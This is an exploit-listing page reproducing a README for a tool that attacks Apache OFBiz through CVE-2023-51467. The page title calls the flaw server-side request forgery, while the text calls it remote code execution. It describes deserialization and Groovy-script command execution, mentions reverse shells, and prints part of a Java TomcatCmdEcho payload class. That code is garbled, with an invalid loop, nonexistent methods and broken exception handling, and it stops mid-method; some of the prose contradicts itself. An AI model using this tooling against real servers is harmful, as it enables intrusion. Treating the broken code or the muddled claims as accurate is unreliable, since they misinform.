Sploitus

Exploit for Server-Side Request Forgery in Apache Ofbiz

CVE-2023-51467

githubexploit · 2024-01-06

Exploit Code

README58 lines
## https://sploitus.com/exploit?id=38B5B93D-3DC1-5A66-9A08-80086D5B021A
# CVE-2023-51467  
Graphical Apache Ofbiz: CVE-2023-51467 – Remote code execution vulnerability exploitation tool  

To minimize issues and avoid garbled outputs, use global English. From Sijie Technology.  

## Usage Issues  
This exploitation tool utilizes modified deserialization methods to directly return the command execution result in base64 format. The command execution process follows the same logic. However, Ofbiz has a limitation where `println` cannot be used for output. This tool extracts the command execution result through error notifications. Developers may encounter incompatibility issues with lower versions; please pay attention to the output results. If such issues arise, please select “Set Host Header”.  
![img.png](image%2Fimg.png)  

## Features  
### Deserialization Method  
Exploitation is based on the CommonsBeanUtils1 chain and TomcatCmdEcho. If this vulnerability exists, exploitation may fail. You can try using ysoserial to generate alternative exploitation chains.  
![img.png](image/deskimg.png)  

### Command Execution Method  
Command execution is performed via Groovy scripts. However, `println` cannot be used for direct output; instead, a reverse shell can be created. This tool supports command execution output by triggering exceptions via the `List products = delegator.findList` method and capturing the execution results.  
![img.png](image/comimg.png)  

## About Deserialized Data  
The deserialized data uses TomcatCmdEcho integrated in ysoserial-y4er by hktalent’s team. This integration allows for exploitation.  
```java
package ysoserial.payloads.templates;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.syndication.io.impl.Base64;

public class TomcatCmdEcho extends AbstractTranslet {

    static {
        try {
            boolean flag = false;
            ThreadGroup group = Thread.currentThread().getThreadGroup();
            java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
            f.setAccessible(true);
            Thread[] threads = (Thread[]) f.get(group);
            for (int i = 0; i; ++i) {
                thread = threadThread();
                if (thread != null) {
                    thread.setAccessibility(true);
                    thread.setThreadGroup(thread.getThreadGroup());
                    thread.setAccessibility(false);
                }
            }
        } catch (ClassNotFoundException | NoSuchMethodException e) {
            throw new ClassNotFoundException(e.getMessage());
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
```

This tool leverages the TomcatCmdEcho mechanism within ysoserial-y4er by hktalent’s team.